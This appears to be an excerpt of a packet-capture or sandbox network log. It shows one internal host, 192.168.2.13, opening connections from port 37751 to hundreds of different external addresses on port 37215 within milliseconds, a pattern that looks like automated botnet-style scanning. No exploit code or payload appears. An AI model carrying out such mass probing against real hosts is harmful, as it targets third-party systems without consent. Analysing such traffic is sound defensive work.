Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	157.68.101.36
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	37.202.87.228
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	196.139.142.47
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	102.89.251.26
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	156.255.101.21
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	122.212.131.242
Jan 1, 2024 12:51:49.999126911 CET	37751	37215	192.168.2.13	41.51.42.57
Jan 1, 2024 12:51:49.999135017 CET	37751	37215	192.168.2.13	156.58.129.52
Jan 1, 2024 12:51:49.999139071 CET	37751	37215	192.168.2.13	156.13.237.158
Jan 1, 2024 12:51:49.999139071 CET	37751	37215	192.168.2.13	160.102.124.2
Jan 1, 2024 12:51:49.999145031 CET	37751	37215	192.168.2.13	186.178.200.159
Jan 1, 2024 12:51:49.999145031 CET	37751	37215	192.168.2.13	156.90.208.223
Jan 1, 2024 12:51:49.999145031 CET	37751	37215	192.168.2.13	160.182.74.254
Jan 1, 2024 12:51:49.999145031 CET	37751	37215	192.168.2.13	156.48.46.111
Jan 1, 2024 12:51:49.999145031 CET	37751	37215	192.168.2.13	222.227.101.254
Jan 1, 2024 12:51:49.999149084 CET	37751	37215	192.168.2.13	157.11.138.3
Jan 1, 2024 12:51:49.999164104 CET	37751	37215	192.168.2.13	197.20.138.195
Jan 1, 2024 12:51:49.999165058 CET	37751	37215	192.168.2.13	156.31.143.44
Jan 1, 2024 12:51:49.999165058 CET	37751	37215	192.168.2.13	92.170.211.16
Jan 1, 2024 12:51:49.999165058 CET	37751	37215	192.168.2.13	95.225.206.195
Jan 1, 2024 12:51:49.999165058 CET	37751	37215	192.168.2.13	41.16.166.239
Jan 1, 2024 12:51:49.999165058 CET	37751	37215	192.168.2.13	156.1.21.199
Jan 1, 2024 12:51:49.999171019 CET	37751	37215	192.168.2.13	95.159.20.140
Jan 1, 2024 12:51:49.999175072 CET	37751	37215	192.168.2.13	197.173.50.72
Jan 1, 2024 12:51:49.999175072 CET	37751	37215	192.168.2.13	197.202.78.145
Jan 1, 2024 12:51:49.999176025 CET	37751	37215	192.168.2.13	37.77.47.82
Jan 1, 2024 12:51:49.999181986 CET	37751	37215	192.168.2.13	156.160.49.80
Jan 1, 2024 12:51:49.999190092 CET	37751	37215	192.168.2.13	157.134.183.244
Jan 1, 2024 12:51:49.999190092 CET	37751	37215	192.168.2.13	41.230.76.77
Jan 1, 2024 12:51:49.999200106 CET	37751	37215	192.168.2.13	156.13.160.169
Jan 1, 2024 12:51:49.999201059 CET	37751	37215	192.168.2.13	156.136.182.40
Jan 1, 2024 12:51:49.999202967 CET	37751	37215	192.168.2.13	197.230.31.58
Jan 1, 2024 12:51:49.999205112 CET	37751	37215	192.168.2.13	41.145.162.65
Jan 1, 2024 12:51:49.999205112 CET	37751	37215	192.168.2.13	92.60.179.136
Jan 1, 2024 12:51:49.999206066 CET	37751	37215	192.168.2.13	197.182.86.49
Jan 1, 2024 12:51:49.999206066 CET	37751	37215	192.168.2.13	197.81.144.110
Jan 1, 2024 12:51:49.999211073 CET	37751	37215	192.168.2.13	41.248.15.41
Jan 1, 2024 12:51:49.999218941 CET	37751	37215	192.168.2.13	222.68.120.88
Jan 1, 2024 12:51:49.999226093 CET	37751	37215	192.168.2.13	156.185.152.176
Jan 1, 2024 12:51:49.999233007 CET	37751	37215	192.168.2.13	156.32.5.156
Jan 1, 2024 12:51:49.999236107 CET	37751	37215	192.168.2.13	156.151.129.9
Jan 1, 2024 12:51:49.999239922 CET	37751	37215	192.168.2.13	156.207.206.112
Jan 1, 2024 12:51:49.999243021 CET	37751	37215	192.168.2.13	94.147.80.220
Jan 1, 2024 12:51:49.999272108 CET	37751	37215	192.168.2.13	41.37.227.233
Jan 1, 2024 12:51:49.999273062 CET	37751	37215	192.168.2.13	157.89.197.236
Jan 1, 2024 12:51:49.999274015 CET	37751	37215	192.168.2.13	41.56.111.23
Jan 1, 2024 12:51:49.999274969 CET	37751	37215	192.168.2.13	45.56.182.22
Jan 1, 2024 12:51:49.999275923 CET	37751	37215	192.168.2.13	120.140.158.31
Jan 1, 2024 12:51:49.999277115 CET	37751	37215	192.168.2.13	156.46.123.105
Jan 1, 2024 12:51:49.999289989 CET	37751	37215	192.168.2.13	181.223.52.139
Jan 1, 2024 12:51:49.999289989 CET	37751	37215	192.168.2.13	156.104.223.49
Jan 1, 2024 12:51:49.999289989 CET	37751	37215	192.168.2.13	121.38.240.31
Jan 1, 2024 12:51:49.999290943 CET	37751	37215	192.168.2.13	190.48.153.219
Jan 1, 2024 12:51:49.999296904 CET	37751	37215	192.168.2.13	41.148.164.176
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	92.106.46.237
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	197.183.235.28
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	196.216.200.183
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	196.226.170.151
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	121.230.247.191
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	41.248.57.168
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	197.123.205.91
Jan 1, 2024 12:51:49.999298096 CET	37751	37215	192.168.2.13	156.148.79.142
Jan 1, 2024 12:51:49.999308109 CET	37751	37215	192.168.2.13	197.70.133.172
Jan 1, 2024 12:51:49.999308109 CET	37751	37215	192.168.2.13	156.224.203.44
Jan 1, 2024 12:51:49.999308109 CET	37751	37215	192.168.2.13	41.212.103.147
Jan 1, 2024 12:51:49.999308109 CET	37751	37215	192.168.2.13	156.242.5.228
Jan 1, 2024 12:51:49.999315023 CET	37751	37215	192.168.2.13	156.56.196.126
Jan 1, 2024 12:51:49.999319077 CET	37751	37215	192.168.2.13	154.164.41.217
Jan 1, 2024 12:51:49.999319077 CET	37751	37215	192.168.2.13	190.1.227.122
Jan 1, 2024 12:51:49.999319077 CET	37751	37215	192.168.2.13	156.80.129.116
Jan 1, 2024 12:51:49.999325991 CET	37751	37215	192.168.2.13	138.99.222.194
Jan 1, 2024 12:51:49.999325991 CET	37751	37215	192.168.2.13	197.126.47.238
Jan 1, 2024 12:51:49.999330044 CET	37751	37215	192.168.2.13	121.172.77.175
Jan 1, 2024 12:51:49.999330997 CET	37751	37215	192.168.2.13	197.175.108.175
Jan 1, 2024 12:51:49.999330997 CET	37751	37215	192.168.2.13	190.228.164.66
Jan 1, 2024 12:51:49.999331951 CET	37751	37215	192.168.2.13	156.44.176.235
Jan 1, 2024 12:51:49.999331951 CET	37751	37215	192.168.2.13	41.150.28.14
Jan 1, 2024 12:51:49.999337912 CET	37751	37215	192.168.2.13	197.114.226.241
Jan 1, 2024 12:51:49.999339104 CET	37751	37215	192.168.2.13	156.9.107.204
Jan 1, 2024 12:51:49.999341011 CET	37751	37215	192.168.2.13	186.195.28.222
Jan 1, 2024 12:51:49.999341011 CET	37751	37215	192.168.2.13	156.130.133.185
Jan 1, 2024 12:51:49.999353886 CET	37751	37215	192.168.2.13	190.181.177.172
Jan 1, 2024 12:51:49.999353886 CET	37751	37215	192.168.2.13	156.150.35.212
Jan 1, 2024 12:51:49.999353886 CET	37751	37215	192.168.2.13	156.51.188.128
Jan 1, 2024 12:51:49.999353886 CET	37751	37215	192.168.2.13	156.232.23.115
Jan 1, 2024 12:51:49.999355078 CET	37751	37215	192.168.2.13	196.234.196.48
Jan 1, 2024 12:51:49.999356031 CET	37751	37215	192.168.2.13	197.75.249.13
Jan 1, 2024 12:51:49.999355078 CET	37751	37215	192.168.2.13	156.51.79.22
Jan 1, 2024 12:51:49.999356031 CET	37751	37215	192.168.2.13	156.203.128.199
Jan 1, 2024 12:51:49.999360085 CET	37751	37215	192.168.2.13	156.115.152.207
Jan 1, 2024 12:51:49.999356031 CET	37751	37215	192.168.2.13	37.140.184.68
Jan 1, 2024 12:51:49.999356985 CET	37751	37215	192.168.2.13	197.174.173.140
Jan 1, 2024 12:51:49.999356031 CET	37751	37215	192.168.2.13	156.74.112.238
Jan 1, 2024 12:51:49.999356985 CET	37751	37215	192.168.2.13	41.185.251.168
Jan 1, 2024 12:51:49.999360085 CET	37751	37215	192.168.2.13	196.110.242.195
Jan 1, 2024 12:51:49.999356031 CET	37751	37215	192.168.2.13	41.202.73.240
Jan 1, 2024 12:51:49.999353886 CET	37751	37215	192.168.2.13	157.203.120.211
Jan 1, 2024 12:51:49.999356985 CET	37751	37215	192.168.2.13	197.54.74.76
Jan 1, 2024 12:51:49.999372005 CET	37751	37215	192.168.2.13	41.6.78.60
Jan 1, 2024 12:51:49.999373913 CET	37751	37215	192.168.2.13	41.239.188.85
Jan 1, 2024 12:51:49.999373913 CET	37751	37215	192.168.2.13	41.1.20.176
Jan 1, 2024 12:51:49.999377012 CET	37751	37215	192.168.2.13	45.216.189.79
Jan 1, 2024 12:51:49.999377012 CET	37751	37215	192.168.2.13	94.3.115.27
Jan 1, 2024 12:51:49.999383926 CET	37751	37215	192.168.2.13	41.35.183.114
Jan 1, 2024 12:51:49.999383926 CET	37751	37215	192.168.2.13	196.192.218.94
Jan 1, 2024 12:51:49.999383926 CET	37751	37215	192.168.2.13	120.39.64.172
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	197.17.5.149
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	156.0.206.201
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	41.194.8.22
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	156.54.138.183
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	197.126.158.146
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	45.216.169.20
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	197.146.207.241
Jan 1, 2024 12:51:49.999391079 CET	37751	37215	192.168.2.13	197.69.187.79
Jan 1, 2024 12:51:49.999394894 CET	37751	37215	192.168.2.13	197.86.136.227
Jan 1, 2024 12:51:49.999396086 CET	37751	37215	192.168.2.13	197.190.39.36
Jan 1, 2024 12:51:49.999396086 CET	37751	37215	192.168.2.13	197.191.175.38
Jan 1, 2024 12:51:49.999396086 CET	37751	37215	192.168.2.13	121.137.36.67
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	41.117.53.61
Jan 1, 2024 12:51:49.999396086 CET	37751	37215	192.168.2.13	186.135.158.24
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	156.209.123.200
Jan 1, 2024 12:51:49.999396086 CET	37751	37215	192.168.2.13	160.119.55.185
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	197.61.187.15
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	94.250.210.122
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	156.45.42.200
Jan 1, 2024 12:51:49.999397039 CET	37751	37215	192.168.2.13	156.44.214.171
Jan 1, 2024 12:51:49.999403954 CET	37751	37215	192.168.2.13	41.242.19.7
Jan 1, 2024 12:51:49.999406099 CET	37751	37215	192.168.2.13	41.39.107.162
Jan 1, 2024 12:51:49.999403954 CET	37751	37215	192.168.2.13	138.36.227.210
Jan 1, 2024 12:51:49.999406099 CET	37751	37215	192.168.2.13	156.82.113.167
Jan 1, 2024 12:51:49.999403954 CET	37751	37215	192.168.2.13	41.80.3.252
Jan 1, 2024 12:51:49.999403954 CET	37751	37215	192.168.2.13	92.104.54.88
Jan 1, 2024 12:51:49.999403954 CET	37751	37215	192.168.2.13	197.93.139.61
Jan 1, 2024 12:51:49.999413967 CET	37751	37215	192.168.2.13	41.87.40.177
Jan 1, 2024 12:51:49.999414921 CET	37751	37215	192.168.2.13	197.210.205.126
Jan 1, 2024 12:51:49.999414921 CET	37751	37215	192.168.2.13	41.201.234.223
Jan 1, 2024 12:51:49.999414921 CET	37751	37215	192.168.2.13	138.194.255.150
Jan 1, 2024 12:51:49.999413967 CET	37751	37215	192.168.2.13	156.51.176.187
Jan 1, 2024 12:51:49.999414921 CET	37751	37215	192.168.2.13	156.59.38.44
Jan 1, 2024 12:51:49.999420881 CET	37751	37215	192.168.2.13	41.185.235.206
Jan 1, 2024 12:51:49.999427080 CET	37751	37215	192.168.2.13	121.49.143.43
Jan 1, 2024 12:51:49.999427080 CET	37751	37215	192.168.2.13	45.79.152.122
Jan 1, 2024 12:51:49.999429941 CET	37751	37215	192.168.2.13	156.7.53.1
Jan 1, 2024 12:51:49.999429941 CET	37751	37215	192.168.2.13	156.132.102.186
Jan 1, 2024 12:51:49.999429941 CET	37751	37215	192.168.2.13	197.224.53.46
Jan 1, 2024 12:51:49.999445915 CET	37751	37215	192.168.2.13	156.164.214.136
Jan 1, 2024 12:51:49.999447107 CET	37751	37215	192.168.2.13	41.154.84.83
Jan 1, 2024 12:51:49.999447107 CET	37751	37215	192.168.2.13	197.212.202.131
Jan 1, 2024 12:51:49.999453068 CET	37751	37215	192.168.2.13	41.231.19.120
Jan 1, 2024 12:51:49.999453068 CET	37751	37215	192.168.2.13	37.226.188.161
Jan 1, 2024 12:51:49.999453068 CET	37751	37215	192.168.2.13	41.62.22.102
Jan 1, 2024 12:51:49.999453068 CET	37751	37215	192.168.2.13	156.234.174.203
Jan 1, 2024 12:51:49.999454021 CET	37751	37215	192.168.2.13	41.166.58.71
Jan 1, 2024 12:51:49.999454975 CET	37751	37215	192.168.2.13	196.248.78.196
Jan 1, 2024 12:51:49.999454975 CET	37751	37215	192.168.2.13	122.143.91.60
Jan 1, 2024 12:51:49.999460936 CET	37751	37215	192.168.2.13	156.15.223.144
Jan 1, 2024 12:51:49.999460936 CET	37751	37215	192.168.2.13	156.198.149.189
Jan 1, 2024 12:51:49.999464989 CET	37751	37215	192.168.2.13	197.237.227.45
Jan 1, 2024 12:51:49.999475956 CET	37751	37215	192.168.2.13	156.43.224.96
Jan 1, 2024 12:51:49.999475956 CET	37751	37215	192.168.2.13	156.158.103.238
Jan 1, 2024 12:51:49.999481916 CET	37751	37215	192.168.2.13	197.235.255.98
Jan 1, 2024 12:51:49.999483109 CET	37751	37215	192.168.2.13	181.245.112.22
Jan 1, 2024 12:51:49.999490976 CET	37751	37215	192.168.2.13	197.35.187.88
Jan 1, 2024 12:51:49.999490976 CET	37751	37215	192.168.2.13	120.67.138.211
Jan 1, 2024 12:51:49.999490976 CET	37751	37215	192.168.2.13	197.209.85.219
Jan 1, 2024 12:51:49.999495983 CET	37751	37215	192.168.2.13	197.174.137.162
Jan 1, 2024 12:51:49.999501944 CET	37751	37215	192.168.2.13	197.27.203.56
Jan 1, 2024 12:51:49.999504089 CET	37751	37215	192.168.2.13	122.224.79.62
Jan 1, 2024 12:51:49.999506950 CET	37751	37215	192.168.2.13	45.231.1.146
Jan 1, 2024 12:51:49.999507904 CET	37751	37215	192.168.2.13	41.187.217.89
Jan 1, 2024 12:51:49.999511957 CET	37751	37215	192.168.2.13	197.40.75.7
Jan 1, 2024 12:51:49.999519110 CET	37751	37215	192.168.2.13	197.91.255.24
Jan 1, 2024 12:51:49.999520063 CET	37751	37215	192.168.2.13	197.246.24.196
Jan 1, 2024 12:51:49.999520063 CET	37751	37215	192.168.2.13	102.102.43.159
Jan 1, 2024 12:51:49.999521971 CET	37751	37215	192.168.2.13	41.111.78.35
Jan 1, 2024 12:51:49.999521971 CET	37751	37215	192.168.2.13	197.129.248.38
Jan 1, 2024 12:51:49.999521971 CET	37751	37215	192.168.2.13	156.172.24.24
Jan 1, 2024 12:51:49.999521971 CET	37751	37215	192.168.2.13	156.163.109.123
Jan 1, 2024 12:51:49.999521971 CET	37751	37215	192.168.2.13	156.208.233.27
Jan 1, 2024 12:51:49.999531031 CET	37751	37215	192.168.2.13	197.175.23.104
Jan 1, 2024 12:51:49.999540091 CET	37751	37215	192.168.2.13	37.125.163.143
Jan 1, 2024 12:51:49.999555111 CET	37751	37215	192.168.2.13	197.183.107.170
Jan 1, 2024 12:51:49.999556065 CET	37751	37215	192.168.2.13	156.70.108.37
Jan 1, 2024 12:51:49.999557972 CET	37751	37215	192.168.2.13	156.163.93.159
Jan 1, 2024 12:51:49.999566078 CET	37751	37215	192.168.2.13	197.5.144.211
Jan 1, 2024 12:51:49.999566078 CET	37751	37215	192.168.2.13	138.9.52.17
Jan 1, 2024 12:51:49.999566078 CET	37751	37215	192.168.2.13	154.253.25.113
Jan 1, 2024 12:51:49.999566078 CET	37751	37215	192.168.2.13	41.202.212.224
Jan 1, 2024 12:51:49.999577045 CET	37751	37215	192.168.2.13	138.188.34.98
Jan 1, 2024 12:51:49.999577999 CET	37751	37215	192.168.2.13	156.65.241.67
Jan 1, 2024 12:51:49.999596119 CET	37751	37215	192.168.2.13	156.19.208.156
Jan 1, 2024 12:51:49.999596119 CET	37751	37215	192.168.2.13	197.142.42.98
Jan 1, 2024 12:51:49.999608040 CET	37751	37215	192.168.2.13	41.38.199.189
Jan 1, 2024 12:51:49.999608994 CET	37751	37215	192.168.2.13	45.116.27.187
Jan 1, 2024 12:51:49.999614954 CET	37751	37215	192.168.2.13	41.223.167.163
Jan 1, 2024 12:51:49.999622107 CET	37751	37215	192.168.2.13	41.186.201.119
Jan 1, 2024 12:51:49.999622107 CET	37751	37215	192.168.2.13	197.87.200.81
Jan 1, 2024 12:51:49.999623060 CET	37751	37215	192.168.2.13	37.104.168.221
Jan 1, 2024 12:51:49.999624014 CET	37751	37215	192.168.2.13	41.87.105.133
Jan 1, 2024 12:51:49.999630928 CET	37751	37215	192.168.2.13	41.181.212.187
Jan 1, 2024 12:51:49.999650002 CET	37751	37215	192.168.2.13	107.66.120.116
Jan 1, 2024 12:51:49.999655008 CET	37751	37215	192.168.2.13	156.140.109.75
Jan 1, 2024 12:51:49.999655962 CET	37751	37215	192.168.2.13	156.137.189.177
Jan 1, 2024 12:51:49.999655008 CET	37751	37215	192.168.2.13	156.86.8.127
Jan 1, 2024 12:51:49.999660969 CET	37751	37215	192.168.2.13	94.28.64.133
Jan 1, 2024 12:51:49.999660969 CET	37751	37215	192.168.2.13	156.237.103.170
Jan 1, 2024 12:51:49.999663115 CET	37751	37215	192.168.2.13	197.246.187.196
Jan 1, 2024 12:51:49.999665022 CET	37751	37215	192.168.2.13	156.180.180.237
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	121.95.175.68
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	197.252.116.141
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	156.151.34.173
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	138.150.125.105
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	197.151.69.195
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	102.4.251.173
Jan 1, 2024 12:51:49.999669075 CET	37751	37215	192.168.2.13	156.169.25.0
Jan 1, 2024 12:51:49.999676943 CET	37751	37215	192.168.2.13	122.47.31.167
Jan 1, 2024 12:51:49.999679089 CET	37751	37215	192.168.2.13	41.47.190.153
Jan 1, 2024 12:51:49.999680996 CET	37751	37215	192.168.2.13	197.220.180.143
Jan 1, 2024 12:51:49.999680996 CET	37751	37215	192.168.2.13	197.106.106.73
Jan 1, 2024 12:51:49.999681950 CET	37751	37215	192.168.2.13	190.65.168.52
Jan 1, 2024 12:51:49.999681950 CET	37751	37215	192.168.2.13	156.74.211.62
Jan 1, 2024 12:51:49.999682903 CET	37751	37215	192.168.2.13	197.231.139.81
Jan 1, 2024 12:51:49.999682903 CET	37751	37215	192.168.2.13	160.105.193.26
Jan 1, 2024 12:51:49.999689102 CET	37751	37215	192.168.2.13	186.16.87.163
Jan 1, 2024 12:51:49.999689102 CET	37751	37215	192.168.2.13	222.158.164.90
Jan 1, 2024 12:51:49.999690056 CET	37751	37215	192.168.2.13	156.114.77.186
Jan 1, 2024 12:51:49.999696016 CET	37751	37215	192.168.2.13	197.54.255.51
Jan 1, 2024 12:51:49.999696016 CET	37751	37215	192.168.2.13	120.244.159.183
Jan 1, 2024 12:51:49.999696016 CET	37751	37215	192.168.2.13	154.94.229.67
Jan 1, 2024 12:51:49.999701977 CET	37751	37215	192.168.2.13	197.67.116.148
Jan 1, 2024 12:51:49.999702930 CET	37751	37215	192.168.2.13	160.213.179.197
Jan 1, 2024 12:51:49.999705076 CET	37751	37215	192.168.2.13	41.43.153.42
Jan 1, 2024 12:51:49.999706030 CET	37751	37215	192.168.2.13	197.159.189.22
Jan 1, 2024 12:51:49.999705076 CET	37751	37215	192.168.2.13	120.64.114.156
Jan 1, 2024 12:51:49.999706984 CET	37751	37215	192.168.2.13	156.49.145.131
Jan 1, 2024 12:51:49.999706984 CET	37751	37215	192.168.2.13	197.198.38.227
Jan 1, 2024 12:51:49.999711037 CET	37751	37215	192.168.2.13	197.212.14.149
Jan 1, 2024 12:51:49.999711037 CET	37751	37215	192.168.2.13	41.146.96.139
Jan 1, 2024 12:51:49.999711037 CET	37751	37215	192.168.2.13	197.233.237.80
Jan 1, 2024 12:51:49.999711037 CET	37751	37215	192.168.2.13	41.12.217.136
Jan 1, 2024 12:51:49.999712944 CET	37751	37215	192.168.2.13	41.208.37.128
Jan 1, 2024 12:51:49.999715090 CET	37751	37215	192.168.2.13	122.251.253.44
Jan 1, 2024 12:51:49.999715090 CET	37751	37215	192.168.2.13	197.255.197.110
Jan 1, 2024 12:51:49.999722958 CET	37751	37215	192.168.2.13	121.15.0.171
Jan 1, 2024 12:51:49.999725103 CET	37751	37215	192.168.2.13	41.20.73.63
Jan 1, 2024 12:51:49.999735117 CET	37751	37215	192.168.2.13	197.219.131.1
Jan 1, 2024 12:51:49.999735117 CET	37751	37215	192.168.2.13	156.107.150.241
Jan 1, 2024 12:51:49.999741077 CET	37751	37215	192.168.2.13	156.89.54.255
Jan 1, 2024 12:51:49.999748945 CET	37751	37215	192.168.2.13	156.249.61.29
Jan 1, 2024 12:51:49.999748945 CET	37751	37215	192.168.2.13	37.150.42.255
Jan 1, 2024 12:51:49.999748945 CET	37751	37215	192.168.2.13	120.208.25.31
Jan 1, 2024 12:51:49.999757051 CET	37751	37215	192.168.2.13	197.0.12.190
Jan 1, 2024 12:51:49.999759912 CET	37751	37215	192.168.2.13	156.88.40.252
Jan 1, 2024 12:51:49.999761105 CET	37751	37215	192.168.2.13	197.82.181.169
Jan 1, 2024 12:51:49.999763966 CET	37751	37215	192.168.2.13	156.16.68.58
Jan 1, 2024 12:51:49.999778986 CET	37751	37215	192.168.2.13	154.191.170.55
Jan 1, 2024 12:51:49.999780893 CET	37751	37215	192.168.2.13	37.214.173.122
Jan 1, 2024 12:51:49.999780893 CET	37751	37215	192.168.2.13	186.42.206.201
Jan 1, 2024 12:51:49.999783993 CET	37751	37215	192.168.2.13	197.246.174.13
Jan 1, 2024 12:51:49.999783993 CET	37751	37215	192.168.2.13	102.67.183.64
Jan 1, 2024 12:51:49.999794960 CET	37751	37215	192.168.2.13	156.104.205.49
Jan 1, 2024 12:51:49.999799967 CET	37751	37215	192.168.2.13	156.65.180.29
Jan 1, 2024 12:51:49.999804974 CET	37751	37215	192.168.2.13	95.5.147.80
Jan 1, 2024 12:51:49.999804974 CET	37751	37215	192.168.2.13	181.30.96.164
Jan 1, 2024 12:51:49.999810934 CET	37751	37215	192.168.2.13	197.193.90.17
Jan 1, 2024 12:51:49.999818087 CET	37751	37215	192.168.2.13	102.205.32.229
Jan 1, 2024 12:51:49.999819994 CET	37751	37215	192.168.2.13	122.86.175.47
Jan 1, 2024 12:51:49.999834061 CET	37751	37215	192.168.2.13	197.2.186.30
Jan 1, 2024 12:51:49.999834061 CET	37751	37215	192.168.2.13	95.128.14.93
Jan 1, 2024 12:51:49.999839067 CET	37751	37215	192.168.2.13	197.31.11.151
Jan 1, 2024 12:51:49.999839067 CET	37751	37215	192.168.2.13	156.6.178.28
Jan 1, 2024 12:51:49.999839067 CET	37751	37215	192.168.2.13	197.3.152.191
Jan 1, 2024 12:51:49.999839067 CET	37751	37215	192.168.2.13	95.219.4.99
Jan 1, 2024 12:51:49.999849081 CET	37751	37215	192.168.2.13	154.22.106.51
Jan 1, 2024 12:51:49.999849081 CET	37751	37215	192.168.2.13	196.247.34.98
Jan 1, 2024 12:51:49.999850035 CET	37751	37215	192.168.2.13	121.91.27.223
Jan 1, 2024 12:51:49.999856949 CET	37751	37215	192.168.2.13	37.53.21.192
Jan 1, 2024 12:51:49.999856949 CET	37751	37215	192.168.2.13	186.245.168.39
Jan 1, 2024 12:51:49.999856949 CET	37751	37215	192.168.2.13	197.173.132.29
Jan 1, 2024 12:51:49.999857903 CET	37751	37215	192.168.2.13	156.0.135.84
Jan 1, 2024 12:51:49.999864101 CET	37751	37215	192.168.2.13	197.218.179.60
Jan 1, 2024 12:51:49.999865055 CET	37751	37215	192.168.2.13	120.212.158.205
Jan 1, 2024 12:51:49.999880075 CET	37751	37215	192.168.2.13	197.34.199.148
Jan 1, 2024 12:51:49.999880075 CET	37751	37215	192.168.2.13	156.120.102.155
Jan 1, 2024 12:51:49.999880075 CET	37751	37215	192.168.2.13	156.209.217.160
Jan 1, 2024 12:51:49.999881029 CET	37751	37215	192.168.2.13	197.162.192.118
Jan 1, 2024 12:51:49.999898911 CET	37751	37215	192.168.2.13	197.84.100.24
Jan 1, 2024 12:51:49.999898911 CET	37751	37215	192.168.2.13	121.13.192.131
Jan 1, 2024 12:51:49.999902964 CET	37751	37215	192.168.2.13	156.221.223.131
Jan 1, 2024 12:51:49.999903917 CET	37751	37215	192.168.2.13	186.182.30.160
Jan 1, 2024 12:51:49.999902964 CET	37751	37215	192.168.2.13	197.170.253.227
Jan 1, 2024 12:51:49.999908924 CET	37751	37215	192.168.2.13	156.207.168.120
Jan 1, 2024 12:51:49.999908924 CET	37751	37215	192.168.2.13	197.165.3.217
Jan 1, 2024 12:51:49.999911070 CET	37751	37215	192.168.2.13	41.154.147.222
Jan 1, 2024 12:51:49.999916077 CET	37751	37215	192.168.2.13	41.91.159.31
Jan 1, 2024 12:51:49.999916077 CET	37751	37215	192.168.2.13	197.128.159.51
Jan 1, 2024 12:51:49.999918938 CET	37751	37215	192.168.2.13	37.53.97.68
Jan 1, 2024 12:51:49.999918938 CET	37751	37215	192.168.2.13	197.80.255.181
Jan 1, 2024 12:51:49.999919891 CET	37751	37215	192.168.2.13	41.208.2.81
Jan 1, 2024 12:51:49.999919891 CET	37751	37215	192.168.2.13	45.172.100.71
Jan 1, 2024 12:51:49.999923944 CET	37751	37215	192.168.2.13	154.93.89.5
Jan 1, 2024 12:51:49.999923944 CET	37751	37215	192.168.2.13	156.129.102.117
Jan 1, 2024 12:51:49.999931097 CET	37751	37215	192.168.2.13	156.168.17.199
Jan 1, 2024 12:51:49.999938965 CET	37751	37215	192.168.2.13	41.37.131.3
Jan 1, 2024 12:51:49.999939919 CET	37751	37215	192.168.2.13	107.250.131.204
Jan 1, 2024 12:51:49.999946117 CET	37751	37215	192.168.2.13	197.57.67.64
Jan 1, 2024 12:51:49.999953032 CET	37751	37215	192.168.2.13	186.38.35.59
Jan 1, 2024 12:51:49.999954939 CET	37751	37215	192.168.2.13	107.44.99.32
Jan 1, 2024 12:51:49.999968052 CET	37751	37215	192.168.2.13	45.157.45.64
Jan 1, 2024 12:51:49.999968052 CET	37751	37215	192.168.2.13	156.188.172.28
Jan 1, 2024 12:51:49.999968052 CET	37751	37215	192.168.2.13	197.182.137.71
Jan 1, 2024 12:51:49.999968052 CET	37751	37215	192.168.2.13	197.89.54.126
Jan 1, 2024 12:51:49.999972105 CET	37751	37215	192.168.2.13	41.44.43.197
Jan 1, 2024 12:51:49.999972105 CET	37751	37215	192.168.2.13	197.156.83.113
Jan 1, 2024 12:51:49.999983072 CET	37751	37215	192.168.2.13	197.35.138.69
Jan 1, 2024 12:51:49.999989033 CET	37751	37215	192.168.2.13	156.250.85.239
Jan 1, 2024 12:51:50.000008106 CET	37751	37215	192.168.2.13	156.91.246.21
Jan 1, 2024 12:51:50.000008106 CET	37751	37215	192.168.2.13	41.187.144.202
Jan 1, 2024 12:51:50.000008106 CET	37751	37215	192.168.2.13	181.223.28.132
Jan 1, 2024 12:51:50.000011921 CET	37751	37215	192.168.2.13	197.50.3.214
Jan 1, 2024 12:51:50.000013113 CET	37751	37215	192.168.2.13	102.223.240.169
Jan 1, 2024 12:51:50.000011921 CET	37751	37215	192.168.2.13	156.57.168.197
Jan 1, 2024 12:51:50.000013113 CET	37751	37215	192.168.2.13	197.32.28.55
Jan 1, 2024 12:51:50.000011921 CET	37751	37215	192.168.2.13	196.41.80.194
Jan 1, 2024 12:51:50.000011921 CET	37751	37215	192.168.2.13	94.185.4.176
Jan 1, 2024 12:51:50.000011921 CET	37751	37215	192.168.2.13	156.105.136.108
Jan 1, 2024 12:51:50.000021935 CET	37751	37215	192.168.2.13	156.94.11.248
Jan 1, 2024 12:51:50.000021935 CET	37751	37215	192.168.2.13	41.166.41.34
Jan 1, 2024 12:51:50.000021935 CET	37751	37215	192.168.2.13	41.35.235.185
Jan 1, 2024 12:51:50.000021935 CET	37751	37215	192.168.2.13	157.36.64.71
Jan 1, 2024 12:51:50.000027895 CET	37751	37215	192.168.2.13	157.215.39.28
Jan 1, 2024 12:51:50.000027895 CET	37751	37215	192.168.2.13	41.205.137.238
Jan 1, 2024 12:51:50.000027895 CET	37751	37215	192.168.2.13	92.207.167.90
